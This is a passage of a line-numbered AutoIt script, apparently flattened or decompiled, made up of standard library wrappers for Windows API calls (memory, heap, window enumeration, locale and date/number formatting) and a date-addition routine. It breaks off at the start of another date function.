  3355.     EndFunc
  3356.  
  3357.     Func _winapi_getbitmapdimension($hbitmap)
  3358.         Local Const $tagbitmap = "struct;long bmType;long bmWidth;long bmHeight;long bmWidthBytes;ushort bmPlanes;ushort bmBitsPixel;ptr bmBits;endstruct"
  3359.         Local $tobj = DllStructCreate($tagbitmap)
  3360.         Local $aret = DllCall("gdi32.dll", "int", "GetObject", "handle", $hbitmap, "int", DllStructGetSize($tobj), "struct*", $tobj)
  3361.         If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  3362.         Return _winapi_createsize(DllStructGetData($tobj, "bmWidth"), DllStructGetData($tobj, "bmHeight"))
  3363.     EndFunc
  3364.  
  3365.     Func _winapi_getstring($pstring, $bunicode = True)
  3366.         Local $ilength = _winapi_strlen($pstring, $bunicode)
  3367.         If @error OR NOT $ilength Then Return SetError(@error + 10, @extended, "")
  3368.         Local $tstring = DllStructCreate(__iif($bunicode, "wchar", "char") & "[" & ($ilength + 1) & "]", $pstring)
  3369.         If @error Then Return SetError(@error, @extended, "")
  3370.         Return SetExtended($ilength, DllStructGetData($tstring, 1))
  3371.     EndFunc
  3372.  
  3373.     Func _winapi_isbadreadptr($paddress, $ilength)
  3374.         Local $aret = DllCall("kernel32.dll", "bool", "IsBadReadPtr", "struct*", $paddress, "uint_ptr", $ilength)
  3375.         If @error Then Return SetError(@error, @extended, False)
  3376.         Return $aret[0]
  3377.     EndFunc
  3378.  
  3379.     Func _winapi_isbadwriteptr($paddress, $ilength)
  3380.         Local $aret = DllCall("kernel32.dll", "bool", "IsBadWritePtr", "struct*", $paddress, "uint_ptr", $ilength)
  3381.         If @error Then Return SetError(@error, @extended, False)
  3382.         Return $aret[0]
  3383.     EndFunc
  3384.  
  3385.     Func _winapi_iswow64process($ipid = 0)
  3386.         If NOT $ipid Then $ipid = @AutoItPID
  3387.         Local $hprocess = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", __iif($__winver < 1536, 1024, 4096), "bool", 0, "dword", $ipid)
  3388.         If @error OR NOT $hprocess[0] Then Return SetError(@error + 20, @extended, False)
  3389.         Local $aret = DllCall("kernel32.dll", "bool", "IsWow64Process", "handle", $hprocess[0], "bool*", 0)
  3390.         If __checkerrorclosehandle($aret, $hprocess[0]) Then Return SetError(@error, @extended, False)
  3391.         Return $aret[2]
  3392.     EndFunc
  3393.  
  3394.     Func _winapi_movememory($pdestination, $psource, $ilength)
  3395.         If _winapi_isbadreadptr($psource, $ilength) Then Return SetError(10, @extended, 0)
  3396.         If _winapi_isbadwriteptr($pdestination, $ilength) Then Return SetError(11, @extended, 0)
  3397.         DllCall("ntdll.dll", "none", "RtlMoveMemory", "struct*", $pdestination, "struct*", $psource, "ulong_ptr", $ilength)
  3398.         If @error Then Return SetError(@error, @extended, 0)
  3399.         Return 1
  3400.     EndFunc
  3401.  
  3402.     Func _winapi_pathisdirectory($sfilepath)
  3403.         Local $aret = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", $sfilepath)
  3404.         If @error Then Return SetError(@error, @extended, False)
  3405.         Return $aret[0]
  3406.     EndFunc
  3407.  
  3408.     Func _winapi_strlen($pstring, $bunicode = True)
  3409.         Local $w = ""
  3410.         If $bunicode Then $w = "W"
  3411.         Local $aret = DllCall("kernel32.dll", "int", "lstrlen" & $w, "struct*", $pstring)
  3412.         If @error Then Return SetError(@error, @extended, 0)
  3413.         Return $aret[0]
  3414.     EndFunc
  3415.  
  3416.     Func _winapi_structtoarray(ByRef $tstruct, $iitems = 0)
  3417.         Local $isize = 2 * Floor(DllStructGetSize($tstruct) / 2)
  3418.         Local $pstruct = DllStructGetPtr($tstruct)
  3419.         If NOT $isize OR NOT $pstruct Then Return SetError(1, 0, 0)
  3420.         Local $tdata, $ilength, $ioffset = 0
  3421.         Local $aresult[101] = [0]
  3422.         While 1
  3423.             $ilength = _winapi_strlen($pstruct + $ioffset)
  3424.             If NOT $ilength Then
  3425.                 ExitLoop
  3426.             EndIf
  3427.             If 2 * (1 + $ilength) + $ioffset > $isize Then Return SetError(3, 0, 0)
  3428.             $tdata = DllStructCreate("wchar[" & (1 + $ilength) & "]", $pstruct + $ioffset)
  3429.             If @error Then Return SetError(@error + 10, 0, 0)
  3430.             __inc($aresult)
  3431.             $aresult[$aresult[0]] = DllStructGetData($tdata, 1)
  3432.             If $aresult[0] = $iitems Then
  3433.                 ExitLoop
  3434.             EndIf
  3435.             $ioffset += 2 * (1 + $ilength)
  3436.             If $ioffset >= $isize Then Return SetError(3, 0, 0)
  3437.         WEnd
  3438.         If NOT $aresult[0] Then Return SetError(2, 0, 0)
  3439.         __inc($aresult, -1)
  3440.         Return $aresult
  3441.     EndFunc
  3442.  
  3443.     Func _winapi_swapdword($ivalue)
  3444.         Local $tstruct1 = DllStructCreate("dword;dword")
  3445.         Local $tstruct2 = DllStructCreate("byte[4];byte[4]", DllStructGetPtr($tstruct1))
  3446.         DllStructSetData($tstruct1, 1, $ivalue)
  3447.         For $i = 1 To 4
  3448.             DllStructSetData($tstruct2, 2, DllStructGetData($tstruct2, 1, 5 - $i), $i)
  3449.         Next
  3450.         Return DllStructGetData($tstruct1, 2)
  3451.     EndFunc
  3452.  
  3453.     Func _winapi_swapqword($ivalue)
  3454.         Local $tstruct1 = DllStructCreate("int64;int64")
  3455.         Local $tstruct2 = DllStructCreate("byte[8];byte[8]", DllStructGetPtr($tstruct1))
  3456.         DllStructSetData($tstruct1, 1, $ivalue)
  3457.         For $i = 1 To 8
  3458.             DllStructSetData($tstruct2, 2, DllStructGetData($tstruct2, 1, 9 - $i), $i)
  3459.         Next
  3460.         Return DllStructGetData($tstruct1, 2)
  3461.     EndFunc
  3462.  
  3463.     Func _winapi_swapword($ivalue)
  3464.         Local $tstruct1 = DllStructCreate("word;word")
  3465.         Local $tstruct2 = DllStructCreate("byte[2];byte[2]", DllStructGetPtr($tstruct1))
  3466.         DllStructSetData($tstruct1, 1, $ivalue)
  3467.         For $i = 1 To 2
  3468.             DllStructSetData($tstruct2, 2, DllStructGetData($tstruct2, 1, 3 - $i), $i)
  3469.         Next
  3470.         Return DllStructGetData($tstruct1, 2)
  3471.     EndFunc
  3472.  
  3473.     Func _winapi_switchcolor($icolor)
  3474.         If $icolor = -1 Then Return $icolor
  3475.         Return BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16))
  3476.     EndFunc
  3477.  
  3478.     Func _winapi_zeromemory($pmemory, $ilength)
  3479.         If _winapi_isbadwriteptr($pmemory, $ilength) Then Return SetError(11, @extended, 0)
  3480.         DllCall("ntdll.dll", "none", "RtlZeroMemory", "struct*", $pmemory, "ulong_ptr", $ilength)
  3481.         If @error Then Return SetError(@error, @extended, 0)
  3482.         Return 1
  3483.     EndFunc
  3484.  
  3485. #EndRegion Public Functions
  3486. #Region Internal Functions
  3487.  
  3488.     Func __checkerrorarraybounds(Const ByRef $adata, ByRef $istart, ByRef $iend, $ndim = 1, $idim = $ubound_dimensions)
  3489.         If NOT IsArray($adata) Then Return SetError(1, 0, 1)
  3490.         If UBound($adata, $idim) <> $ndim Then Return SetError(2, 0, 1)
  3491.         If $istart < 0 Then $istart = 0
  3492.         Local $iubound = UBound($adata) - 1
  3493.         If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  3494.         If $istart > $iend Then Return SetError(4, 0, 1)
  3495.         Return 0
  3496.     EndFunc
  3497.  
  3498.     Func __checkerrorclosehandle($aret, $hfile, $blasterror = 0, $icurerr = @error, $icurext = @extended)
  3499.         If NOT $icurerr AND NOT $aret[0] Then $icurerr = 10
  3500.         Local $ilasterror = _winapi_getlasterror()
  3501.         DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hfile)
  3502.         If $icurerr Then _winapi_setlasterror($ilasterror)
  3503.         If $blasterror Then $icurext = $ilasterror
  3504.         Return SetError($icurerr, $icurext, $icurerr)
  3505.     EndFunc
  3506.  
  3507.     Func __dll($spath, $bpin = False)
  3508.         Local $aret = DllCall("kernel32.dll", "bool", "GetModuleHandleExW", "dword", __iif($bpin, 1, 2), "wstr", $spath, "ptr*", 0)
  3509.         If NOT $aret[3] Then
  3510.             Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $spath)
  3511.             If NOT $aresult[0] Then Return 0
  3512.         EndIf
  3513.         Return 1
  3514.     EndFunc
  3515.  
  3516.     Func __enumwindowsproc($hwnd, $bvisible)
  3517.         Local $aresult
  3518.         If $bvisible Then
  3519.             $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
  3520.             If NOT $aresult[0] Then
  3521.                 Return 1
  3522.             EndIf
  3523.         EndIf
  3524.         __inc($__g_venum)
  3525.         $__g_venum[$__g_venum[0][0]][0] = $hwnd
  3526.         $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  3527.         $__g_venum[$__g_venum[0][0]][1] = $aresult[2]
  3528.         Return 1
  3529.     EndFunc
  3530.  
  3531.     Func __fatalexit($icode, $stext = "")
  3532.         If $stext Then MsgBox($mb_systemmodal, "AutoIt", $stext)
  3533.         _winapi_fatalexit($icode)
  3534.     EndFunc
  3535.  
  3536.     Func __heapalloc($isize, $babort = False)
  3537.         Local $aret
  3538.         If NOT $__g_hheap Then
  3539.             $aret = DllCall("kernel32.dll", "handle", "HeapCreate", "dword", 0, "ulong_ptr", 0, "ulong_ptr", 0)
  3540.             If @error OR NOT $aret[0] Then __fatalexit(1, "Error allocating memory.")
  3541.             $__g_hheap = $aret[0]
  3542.         EndIf
  3543.         $aret = DllCall("kernel32.dll", "ptr", "HeapAlloc", "handle", $__g_hheap, "dword", 8, "ulong_ptr", $isize)
  3544.         If @error OR NOT $aret[0] Then
  3545.             If $babort Then __fatalexit(1, "Error allocating memory.")
  3546.             Return SetError(@error + 30, @extended, 0)
  3547.         EndIf
  3548.         Return $aret[0]
  3549.     EndFunc
  3550.  
  3551.     Func __heapfree(ByRef $pmemory, $bcheck = False, $icurerr = @error, $icurext = @extended)
  3552.         If $bcheck AND (NOT __heapvalidate($pmemory)) Then Return SetError(@error, @extended, 0)
  3553.         Local $aret = DllCall("kernel32.dll", "int", "HeapFree", "handle", $__g_hheap, "dword", 0, "ptr", $pmemory)
  3554.         If @error OR NOT $aret[0] Then Return SetError(@error + 40, @extended, 0)
  3555.         $pmemory = 0
  3556.         Return SetError($icurerr, $icurext, 1)
  3557.     EndFunc
  3558.  
  3559.     Func __heaprealloc($pmemory, $isize, $bamount = False, $babort = False)
  3560.         Local $aret, $pret
  3561.         If __heapvalidate($pmemory) Then
  3562.             If $bamount AND (__heapsize($pmemory) >= $isize) Then Return SetExtended(1, Ptr($pmemory))
  3563.             $aret = DllCall("kernel32.dll", "ptr", "HeapReAlloc", "handle", $__g_hheap, "dword", 8, "ptr", $pmemory, "ulong_ptr", $isize)
  3564.             If @error OR NOT $aret[0] Then
  3565.                 If $babort Then __fatalexit(1, "Error allocating memory.")
  3566.                 Return SetError(@error + 20, @extended, Ptr($pmemory))
  3567.             EndIf
  3568.             $pret = $aret[0]
  3569.         Else
  3570.             $pret = __heapalloc($isize, $babort)
  3571.             If @error Then Return SetError(@error, @extended, 0)
  3572.         EndIf
  3573.         Return $pret
  3574.     EndFunc
  3575.  
  3576.     Func __heapsize($pmemory, $bcheck = False)
  3577.         If $bcheck AND (NOT __heapvalidate($pmemory)) Then Return SetError(@error, @extended, 0)
  3578.         Local $aret = DllCall("kernel32.dll", "ulong_ptr", "HeapSize", "handle", $__g_hheap, "dword", 0, "ptr", $pmemory)
  3579.         If @error OR ($aret[0] = Ptr(-1)) Then Return SetError(@error + 50, @extended, 0)
  3580.         Return $aret[0]
  3581.     EndFunc
  3582.  
  3583.     Func __heapvalidate($pmemory)
  3584.         If (NOT $__g_hheap) OR (NOT Ptr($pmemory)) Then Return SetError(9, 0, False)
  3585.         Local $aret = DllCall("kernel32.dll", "int", "HeapValidate", "handle", $__g_hheap, "dword", 0, "ptr", $pmemory)
  3586.         If @error Then Return SetError(@error, @extended, False)
  3587.         Return $aret[0]
  3588.     EndFunc
  3589.  
  3590.     Func __inc(ByRef $adata, $iincrement = 100)
  3591.         Select
  3592.             Case UBound($adata, $ubound_columns)
  3593.                 If $iincrement < 0 Then
  3594.                     ReDim $adata[$adata[0][0] + 1][UBound($adata, $ubound_columns)]
  3595.                 Else
  3596.                     $adata[0][0] += 1
  3597.                     If $adata[0][0] > UBound($adata) - 1 Then
  3598.                         ReDim $adata[$adata[0][0] + $iincrement][UBound($adata, $ubound_columns)]
  3599.                     EndIf
  3600.                 EndIf
  3601.             Case UBound($adata, $ubound_rows)
  3602.                 If $iincrement < 0 Then
  3603.                     ReDim $adata[$adata[0] + 1]
  3604.                 Else
  3605.                     $adata[0] += 1
  3606.                     If $adata[0] > UBound($adata) - 1 Then
  3607.                         ReDim $adata[$adata[0] + $iincrement]
  3608.                     EndIf
  3609.                 EndIf
  3610.             Case Else
  3611.                 Return 0
  3612.         EndSelect
  3613.         Return 1
  3614.     EndFunc
  3615.  
  3616.     Func __iif($btest, $vtrue, $vfalse)
  3617.         Return $btest ? $vtrue : $vfalse
  3618.     EndFunc
  3619.  
  3620.     Func __init($ddata)
  3621.         Local $ilength = BinaryLen($ddata)
  3622.         Local $aret = DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", 0, "ulong_ptr", $ilength, "dword", 4096, "dword", 64)
  3623.         If @error OR NOT $aret[0] Then __fatalexit(1, "Error allocating memory.")
  3624.         Local $tdata = DllStructCreate("byte[" & $ilength & "]", $aret[0])
  3625.         DllStructSetData($tdata, 1, $ddata)
  3626.         Return $aret[0]
  3627.     EndFunc
  3628.  
  3629.     Func __rgb($icolor)
  3630.         If $__g_irgbmode Then
  3631.             $icolor = _winapi_switchcolor($icolor)
  3632.         EndIf
  3633.         Return $icolor
  3634.     EndFunc
  3635.  
  3636.     Func __winver()
  3637.         Local $tosvi = DllStructCreate($tagosversioninfo)
  3638.         DllStructSetData($tosvi, 1, DllStructGetSize($tosvi))
  3639.         Local $aret = DllCall("kernel32.dll", "bool", "GetVersionExW", "struct*", $tosvi)
  3640.         If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0)
  3641.         Return BitOR(BitShift(DllStructGetData($tosvi, 2), -8), DllStructGetData($tosvi, 3))
  3642.     EndFunc
  3643.  
  3644. #EndRegion Internal Functions
  3645. #Region Global Variables and Constants
  3646.     Global Const $tagnumberfmt = "uint NumDigits;uint LeadingZero;uint Grouping;ptr DecimalSep;ptr ThousandSep;uint NegativeOrder"
  3647. #EndRegion Global Variables and Constants
  3648. #Region Functions list
  3649. #EndRegion Functions list
  3650. #Region Public Functions
  3651.  
  3652.     Func _winapi_comparestring($ilcid, $sstring1, $sstring2, $iflags = 0)
  3653.         Local $aret = DllCall("kernel32.dll", "int", "CompareStringW", "dword", $ilcid, "dword", $iflags, "wstr", $sstring1, "int", -1, "wstr", $sstring2, "int", -1)
  3654.         If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0)
  3655.         Return $aret[0]
  3656.     EndFunc
  3657.  
  3658.     Func _winapi_createnumberformatinfo($inumdigits, $ileadingzero, $igrouping, $sdecimalsep, $sthousandsep, $inegativeorder)
  3659.         Local $tfmt = DllStructCreate($tagnumberfmt & ";wchar[" & (StringLen($sdecimalsep) + 1) & "];wchar[" & (StringLen($sthousandsep) + 1) & "]")
  3660.         DllStructSetData($tfmt, 1, $inumdigits)
  3661.         DllStructSetData($tfmt, 2, $ileadingzero)
  3662.         DllStructSetData($tfmt, 3, $igrouping)
  3663.         DllStructSetData($tfmt, 4, DllStructGetPtr($tfmt, 7))
  3664.         DllStructSetData($tfmt, 5, DllStructGetPtr($tfmt, 8))
  3665.         DllStructSetData($tfmt, 6, $inegativeorder)
  3666.         DllStructSetData($tfmt, 7, $sdecimalsep)
  3667.         DllStructSetData($tfmt, 8, $sthousandsep)
  3668.         Return $tfmt
  3669.     EndFunc
  3670.  
  3671.     Func _winapi_enumsystemgeoid()
  3672.         Local $henumproc = DllCallbackRegister("__EnumGeoIDProc", "bool", "long")
  3673.         Dim $__g_venum[101] = [0]
  3674.         Local $aret = DllCall("kernel32.dll", "bool", "EnumSystemGeoID", "dword", 16, "long", 0, "ptr", DllCallbackGetPtr($henumproc))
  3675.         If @error OR NOT $aret[0] OR NOT $__g_venum[0] Then
  3676.             $__g_venum = @error + 10
  3677.         EndIf
  3678.         DllCallbackFree($henumproc)
  3679.         If $__g_venum Then Return SetError($__g_venum, 0, 0)
  3680.         __inc($__g_venum, -1)
  3681.         Return $__g_venum
  3682.     EndFunc
  3683.  
  3684.     Func _winapi_enumsystemlocales($iflag)
  3685.         Local $henumproc = DllCallbackRegister("__EnumLocalesProc", "bool", "ptr")
  3686.         Dim $__g_venum[101] = [0]
  3687.         Local $aret = DllCall("kernel32.dll", "bool", "EnumSystemLocalesW", "ptr", DllCallbackGetPtr($henumproc), "dword", $iflag)
  3688.         If @error OR NOT $aret[0] OR NOT $__g_venum[0] Then
  3689.             $__g_venum = @error + 10
  3690.         EndIf
  3691.         DllCallbackFree($henumproc)
  3692.         If $__g_venum Then Return SetError($__g_venum, 0, 0)
  3693.         __inc($__g_venum, -1)
  3694.         Return $__g_venum
  3695.     EndFunc
  3696.  
  3697.     Func _winapi_enumuilanguages($iflag = 0)
  3698.         Local $henumproc = DllCallbackRegister("__EnumUILanguagesProc", "bool", "ptr;long_ptr")
  3699.         Local $iid = 1
  3700.         If $__winver >= 1536 Then
  3701.             If BitAND($iflag, 8) Then
  3702.                 $iid = 0
  3703.             EndIf
  3704.         Else
  3705.             $iflag = 0
  3706.         EndIf
  3707.         Dim $__g_venum[101] = [0]
  3708.         Local $aret = DllCall("kernel32.dll", "bool", "EnumUILanguagesW", "ptr", DllCallbackGetPtr($henumproc), "dword", $iflag, "long_ptr", $iid)
  3709.         If @error OR NOT $aret[0] OR NOT $__g_venum[0] Then
  3710.             $__g_venum = @error + 10
  3711.         EndIf
  3712.         DllCallbackFree($henumproc)
  3713.         If $__g_venum Then Return SetError($__g_venum, 0, 0)
  3714.         __inc($__g_venum, -1)
  3715.         Return $__g_venum
  3716.     EndFunc
  3717.  
  3718.     Func _winapi_getdateformat($ilcid = 0, $tsystemtime = 0, $iflags = 0, $sformat = "")
  3719.         If NOT $ilcid Then $ilcid = 1024
  3720.         Local $stypeofformat = "wstr"
  3721.         If NOT StringStripWS($sformat, $str_stripleading + $str_striptrailing) Then
  3722.             $stypeofformat = "ptr"
  3723.             $sformat = 0
  3724.         EndIf
  3725.         Local $aret = DllCall("kernel32.dll", "int", "GetDateFormatW", "dword", $ilcid, "dword", $iflags, "struct*", $tsystemtime, $stypeofformat, $sformat, "wstr", "", "int", 2048)
  3726.         If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "")
  3727.         Return $aret[5]
  3728.     EndFunc
  3729.  
  3730.     Func _winapi_getdurationformat($ilcid, $iduration, $sformat = "")
  3731.         If NOT $ilcid Then $ilcid = 1024
  3732.         Local $pst, $ival
  3733.         If IsDllStruct($iduration) Then
  3734.             $pst = DllStructGetPtr($iduration)
  3735.             $ival = 0
  3736.         Else
  3737.             $pst = 0
  3738.             $ival = $iduration
  3739.         EndIf
  3740.         Local $stypeofformat = "wstr"
  3741.         If NOT StringStripWS($sformat, $str_stripleading + $str_striptrailing) Then
  3742.             $stypeofformat = "ptr"
  3743.             $sformat = 0
  3744.         EndIf
  3745.         Local $aret = DllCall("kernel32.dll", "int", "GetDurationFormat", "dword", $ilcid, "dword", 0, "ptr", $pst, "uint64", $ival, $stypeofformat, $sformat, "wstr", "", "int", 2048)
  3746.         If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "")
  3747.         Return $aret[6]
  3748.     EndFunc
  3749.  
  3750.     Func _winapi_getgeoinfo($igeoid, $itype, $ilanguage = 0)
  3751.         Local $aret = DllCall("kernel32.dll", "int", "GetGeoInfoW", "long", $igeoid, "dword", $itype, "wstr", "", "int", 4096, "word", $ilanguage)
  3752.         If @error OR NOT $aret[0] Then Return SetError(@error, @extended, 0)
  3753.         Return $aret[3]
  3754.     EndFunc
  3755.  
  3756.     Func _winapi_getlocaleinfo($ilcid, $itype)
  3757.         Local $aret = DllCall("kernel32.dll", "int", "GetLocaleInfoW", "dword", $ilcid, "dword", $itype, "wstr", "", "int", 2048)
  3758.         If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "")
  3759.         Return $aret[3]
  3760.     EndFunc
  3761.  
  3762.     Func _winapi_getnumberformat($ilcid, $snumber, $tnumberfmt = 0)
  3763.         If NOT $ilcid Then $ilcid = 1024
  3764.         Local $aret = DllCall("kernel32.dll", "int", "GetNumberFormatW", "dword", $ilcid, "dword", 0, "wstr", $snumber, "struct*", $tnumberfmt, "wstr", "", "int", 2048)
  3765.         If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "")
  3766.         Return $aret[5]
  3767.     EndFunc
  3768.  
  3769.     Func _winapi_getsystemdefaultlangid()
  3770.         Local $aret = DllCall("kernel32.dll", "word", "GetSystemDefaultLangID")
  3771.         If @error Then Return SetError(@error, @extended, 0)
  3772.         Return $aret[0]
  3773.     EndFunc
  3774.  
  3775.     Func _winapi_getsystemdefaultlcid()
  3776.         Local $aret = DllCall("kernel32.dll", "dword", "GetSystemDefaultLCID")
  3777.         If @error Then Return SetError(@error, @extended, 0)
  3778.         Return $aret[0]
  3779.     EndFunc
  3780.  
  3781.     Func _winapi_getsystemdefaultuilanguage()
  3782.         Local $aret = DllCall("kernel32.dll", "word", "GetSystemDefaultUILanguage")
  3783.         If @error Then Return SetError(@error, @extended, 0)
  3784.         Return $aret[0]
  3785.     EndFunc
  3786.  
  3787.     Func _winapi_getthreadlocale()
  3788.         Local $aret = DllCall("kernel32.dll", "dword", "GetThreadLocale")
  3789.         If @error Then Return SetError(@error, @extended, 0)
  3790.         Return $aret[0]
  3791.     EndFunc
  3792.  
  3793.     Func _winapi_getthreaduilanguage()
  3794.         Local $aret = DllCall("kernel32.dll", "word", "GetThreadUILanguage")
  3795.         If @error Then Return SetError(@error, @extended, 0)
  3796.         Return $aret[0]
  3797.     EndFunc
  3798.  
  3799.     Func _winapi_gettimeformat($ilcid = 0, $tsystemtime = 0, $iflags = 0, $sformat = "")
  3800.         If NOT $ilcid Then $ilcid = 1024
  3801.         Local $stypeofformat = "wstr"
  3802.         If NOT StringStripWS($sformat, $str_stripleading + $str_striptrailing) Then
  3803.             $stypeofformat = "ptr"
  3804.             $sformat = 0
  3805.         EndIf
  3806.         Local $aret = DllCall("kernel32.dll", "int", "GetTimeFormatW", "dword", $ilcid, "dword", $iflags, "struct*", $tsystemtime, $stypeofformat, $sformat, "wstr", "", "int", 2048)
  3807.         If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "")
  3808.         Return $aret[5]
  3809.     EndFunc
  3810.  
  3811.     Func _winapi_getuserdefaultlangid()
  3812.         Local $aret = DllCall("kernel32.dll", "word", "GetUserDefaultLangID")
  3813.         If @error Then Return SetError(@error, @extended, 0)
  3814.         Return $aret[0]
  3815.     EndFunc
  3816.  
  3817.     Func _winapi_getuserdefaultlcid()
  3818.         Local $aret = DllCall("kernel32.dll", "dword", "GetUserDefaultLCID")
  3819.         If @error Then Return SetError(@error, @extended, 0)
  3820.         Return $aret[0]
  3821.     EndFunc
  3822.  
  3823.     Func _winapi_getuserdefaultuilanguage()
  3824.         Local $aret = DllCall("kernel32.dll", "word", "GetUserDefaultUILanguage")
  3825.         If @error Then Return SetError(@error, @extended, 0)
  3826.         Return $aret[0]
  3827.     EndFunc
  3828.  
  3829.     Func _winapi_getusergeoid()
  3830.         Local $aret = DllCall("kernel32.dll", "long", "GetUserGeoID", "uint", 16)
  3831.         If @error Then Return SetError(@error, @extended, -1)
  3832.         Return $aret[0]
  3833.     EndFunc
  3834.  
  3835.     Func _winapi_isvalidlocale($ilcid, $iflag = 0)
  3836.         Local $aret = DllCall("kernel32.dll", "bool", "IsValidLocale", "dword", $ilcid, "dword", $iflag)
  3837.         If @error Then Return SetError(@error, @extended, False)
  3838.         Return $aret[0]
  3839.     EndFunc
  3840.  
  3841.     Func _winapi_setlocaleinfo($ilcid, $itype, $sdata)
  3842.         Local $aret = DllCall("kernel32.dll", "bool", "SetLocaleInfoW", "dword", $ilcid, "dword", $itype, "wstr", $sdata)
  3843.         If @error Then Return SetError(@error, @extended, False)
  3844.         Return $aret[0]
  3845.     EndFunc
  3846.  
  3847.     Func _winapi_setthreadlocale($ilcid)
  3848.         Local $aret = DllCall("kernel32.dll", "bool", "SetThreadLocale", "dword", $ilcid)
  3849.         If @error Then Return SetError(@error, @extended, False)
  3850.         Return $aret[0]
  3851.     EndFunc
  3852.  
  3853.     Func _winapi_setthreaduilanguage($ilanguage)
  3854.         Local $aret = DllCall("kernel32.dll", "word", "SetThreadUILanguage", "word", $ilanguage)
  3855.         If @error Then Return SetError(@error, @extended, False)
  3856.         Return ($aret[0] = $aret[1])
  3857.     EndFunc
  3858.  
  3859.     Func _winapi_setusergeoid($igeoid)
  3860.         Local $aret = DllCall("kernel32.dll", "bool", "SetUserGeoID", "long", $igeoid)
  3861.         If @error Then Return SetError(@error, @extended, False)
  3862.         Return $aret[0]
  3863.     EndFunc
  3864.  
  3865. #EndRegion Public Functions
  3866. #Region Internal Functions
  3867.  
  3868.     Func __enumgeoidproc($iid)
  3869.         __inc($__g_venum)
  3870.         $__g_venum[$__g_venum[0]] = $iid
  3871.         Return 1
  3872.     EndFunc
  3873.  
  3874.     Func __enumlocalesproc($plocale)
  3875.         __inc($__g_venum)
  3876.         $__g_venum[$__g_venum[0]] = Dec(DllStructGetData(DllStructCreate("wchar[" & (_winapi_strlen($plocale) + 1) & "]", $plocale), 1))
  3877.         Return 1
  3878.     EndFunc
  3879.  
  3880.     Func __enumuilanguagesproc($planguage, $iid)
  3881.         __inc($__g_venum)
  3882.         $__g_venum[$__g_venum[0]] = DllStructGetData(DllStructCreate("wchar[" & (_winapi_strlen($planguage) + 1) & "]", $planguage), 1)
  3883.         If $iid Then
  3884.             $__g_venum[$__g_venum[0]] = Dec($__g_venum[$__g_venum[0]])
  3885.         EndIf
  3886.         Return 1
  3887.     EndFunc
  3888.  
  3889. #EndRegion Internal Functions
  3890.  
  3891. Func _dateadd($stype, $inumber, $sdate)
  3892.     Local $astimepart[4]
  3893.     Local $asdatepart[4]
  3894.     Local $ijuliandate
  3895.     $stype = StringLeft($stype, 1)
  3896.     If StringInStr("D,M,Y,w,h,n,s", $stype) = 0 OR $stype = "" Then
  3897.         Return SetError(1, 0, 0)
  3898.     EndIf
  3899.     If NOT StringIsInt($inumber) Then
  3900.         Return SetError(2, 0, 0)
  3901.     EndIf
  3902.     If NOT _dateisvalid($sdate) Then
  3903.         Return SetError(3, 0, 0)
  3904.     EndIf
  3905.     _datetimesplit($sdate, $asdatepart, $astimepart)
  3906.     If $stype = "d" OR $stype = "w" Then
  3907.         If $stype = "w" Then $inumber = $inumber * 7
  3908.         $ijuliandate = _datetodayvalue($asdatepart[1], $asdatepart[2], $asdatepart[3]) + $inumber
  3909.         _dayvaluetodate($ijuliandate, $asdatepart[1], $asdatepart[2], $asdatepart[3])
  3910.     EndIf
  3911.     If $stype = "m" Then
  3912.         $asdatepart[2] = $asdatepart[2] + $inumber
  3913.         While $asdatepart[2] > 12
  3914.             $asdatepart[2] = $asdatepart[2] - 12
  3915.             $asdatepart[1] = $asdatepart[1] + 1
  3916.         WEnd
  3917.         While $asdatepart[2] < 1
  3918.             $asdatepart[2] = $asdatepart[2] + 12
  3919.             $asdatepart[1] = $asdatepart[1] - 1
  3920.         WEnd
  3921.     EndIf
  3922.     If $stype = "y" Then
  3923.         $asdatepart[1] = $asdatepart[1] + $inumber
  3924.     EndIf
  3925.     If $stype = "h" OR $stype = "n" OR $stype = "s" Then
  3926.         Local $itimeval = _timetoticks($astimepart[1], $astimepart[2], $astimepart[3]) / 1000
  3927.         If $stype = "h" Then $itimeval = $itimeval + $inumber * 3600
  3928.         If $stype = "n" Then $itimeval = $itimeval + $inumber * 60
  3929.         If $stype = "s" Then $itimeval = $itimeval + $inumber
  3930.         Local $iday2add = Int($itimeval / (24 * 60 * 60))
  3931.         $itimeval = $itimeval - $iday2add * 24 * 60 * 60
  3932.         If $itimeval < 0 Then
  3933.             $iday2add = $iday2add - 1
  3934.             $itimeval = $itimeval + 24 * 60 * 60
  3935.         EndIf
  3936.         $ijuliandate = _datetodayvalue($asdatepart[1], $asdatepart[2], $asdatepart[3]) + $iday2add
  3937.         _dayvaluetodate($ijuliandate, $asdatepart[1], $asdatepart[2], $asdatepart[3])
  3938.         _tickstotime($itimeval * 1000, $astimepart[1], $astimepart[2], $astimepart[3])
  3939.     EndIf
  3940.     Local $inumdays = _daysinmonth($asdatepart[1])
  3941.     If $inumdays[$asdatepart[2]] < $asdatepart[3] Then $asdatepart[3] = $inumdays[$asdatepart[2]]
  3942.     $sdate = $asdatepart[1] & "/" & StringRight("0" & $asdatepart[2], 2) & "/" & StringRight("0" & $asdatepart[3], 2)
  3943.     If $astimepart[0] > 0 Then
  3944.         If $astimepart[0] > 2 Then
  3945.             $sdate = $sdate & " " & StringRight("0" & $astimepart[1], 2) & ":" & StringRight("0" & $astimepart[2], 2) & ":" & StringRight("0" & $astimepart[3], 2)
  3946.         Else
  3947.             $sdate = $sdate & " " & StringRight("0" & $astimepart[1], 2) & ":" & StringRight("0" & $astimepart[2], 2)
  3948.         EndIf
  3949.     EndIf
  3950.     Return $sdate
  3951. EndFunc
  3952.  
  3953. Func _datedayofweek($idaynum, $iformat = Default)
